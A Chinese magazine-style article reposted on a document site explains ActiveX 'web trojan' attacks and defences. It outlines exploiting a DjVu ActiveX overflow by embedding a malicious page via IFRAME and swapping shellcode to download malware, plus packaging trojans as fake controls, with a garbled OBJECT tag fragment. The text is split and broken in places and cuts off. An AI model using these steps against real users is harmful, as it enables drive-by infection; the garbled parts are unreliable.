剖析activex挂马：以安装名义入侵

《剖析activex挂马：以安装名义入侵》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、剖析ActiveX挂马：以安装名义入侵～教育资源库　　曾几何时，利用ActiveX是流氓软件行凶的主要技术手段之一，如今流氓软件大多都已经作古了，可ActiveX并没有退出人们的视野，网页挂马看上了它，于是ActiveX挂马流行起来，成为了重要的几种挂马方式之一。北岸团队张贵岭：资深安全工程师，从事安全行业十余年。　　ActiveX是微软开发的。微软的程序员似乎把世界想象得太过于善良，认为没有人会用ActiveX作恶。当年恶意软件流行的时期，一家名为XX宝贝视频聊天室的网站就曾利用色诱的方式，诱惑用户主动安装网站的ActiveX视频聊天控件。　　该Act

2、iveX控件不仅会主动跟踪用户网络信息，而且还有弹出广告、上传用户icrosoft对于一系列策略性面向对象程序技术和工具的称呼，ActiveX控件在使用时需要安装。　　谁捧红了ActiveX挂马？　　在流氓软件野蛮生长的那几年，流氓软件也如同各路山贼土匪一样，往往会因为争夺用户电脑中的重要位置而发生火拼，于是许多用来制造病毒的技术被应用到了这些流氓软件身上。后来病毒也开始向流氓软件取经，流氓软件使用的一些技术也被病毒拿来使用，ActiveX挂马应该是病毒从流氓软件身上学习的最彻底的技术。　　小百科：许多浏览器在支持ActiveX方面并不如IE来得积极，虽

3、然Firefox、网景等浏览器都在不同程度上支持ActiveX，但是ActiveX出现问题最多的仍然是IE浏览器。　　ActiveX会被挂马者利用，其实主要问题在于它的认证机制。早期，如果一个网站上有需要安装ActiveX才能够看到的东西，那么在你访问该网站的时候，相关的ActiveX会反复地弹出提示要求你安装它，许多用户往往会因为各种原因点击确定，允许ActiveX控件安装。　　这就如同你走在马路上，有一群人说自己原意跟你交朋友，这些人在你面前一一经过，你可以选择点头同意或者摇头否定，凡是你点头同意的人都可以成为你的朋友，他们可以自由进出你的家。恐怖的

4、是，有些人在成为你朋友之后，你才发现他是个小偷或者无赖流氓。　　目前利用ActiveX挂马主要有两种形式，一种是利用正常程序的ActiveX漏洞进行溢出挂马，另外一种则是直接编写恶意的ActiveX木马程序，将恶意的木马程序伪装成看似有某项功能的ActiveX控件，欺骗用户安装。接下来的案例中我们将会为大家演示黑客如何利用ActiveX挂马。　　ActiveX挂马攻防实录　　方法1：通过漏洞挂马　　攻　　黑客利用ActiveX进行网页挂马，最常见的方法就是利用那些有漏洞的ActiveX控件进行挂马，通过用户系统内已有的ActiveX控件的触发，让木马在不

5、知不觉中植入用户的电脑。　　其中利用软件ActiveX漏洞发动攻击的著名例子有Flash和RealPlayer的ActiveX漏洞挂马程序，这些软件的ActiveX漏洞都曾经造成了极大的危害，特别是RealPlayer至今仍然有黑客在使用它的ActiveX漏洞进行挂马。　　下面以DjVuActiveX控件漏洞为例讲解挂马的具体步骤，首先将恶意代码输入到写字板中，然后另存为任意的HTML文件，然后利用IFRAME代码将生成的HTML文件嵌入到正常的网页中，此时输入打开含有DjVuActiveX控件漏洞的网页，本机的计算器程序就会被触发开启。而黑客通常不会这

6、么善良，他们会将Shellcode代码修改成下载指定恶意程序的代码，然后让用户在打开相关网站后中招。　　小百科：DjVuActiveX控件是用于压缩图形文件的工具，它在处理超长的ImageURL属性参数时会出现溢出。　　防　　对于利用ActiveX漏洞来进行挂马的行为，最好的防范方法是使用IE之外的浏览器，例如Firefox、Maxthon或360安全浏览器。此外，最好能够安装防挂马软件。　　方法2：编写ActiveX木马　　攻　　ActiveX木马是利用一些用户盲目地点击网页上弹出的ActiveX询问安装按钮的习惯而进行传播的。许多用户往往并不能够分辨

7、出哪些ActiveX控件是无害的，哪些ActiveX控件是有害的。　　那些ActiveX木马会打着视频聊天、美女图库等诱惑性的幌子，一些经不起诱惑的用户就会冲动性地安装网页中的ActiveX木马。　　编写ActiveX木马，需要一定的编程基础，而且整个过程相当复杂，由于版面的原因，这里只向各位想成为安全工程师的朋友简单阐述一下ActiveX木马的大致编写过程。　　首先黑客会编写一个具有DoNAME=SetupVALUE=192.168.1.1/web/download.ocx></OBJECT>　　这样的ActiveX木马是没有签名验证

8、的，通常不会被允许安装，但是仍然有方法可以突破这些安全限制。　　防　　要避免A1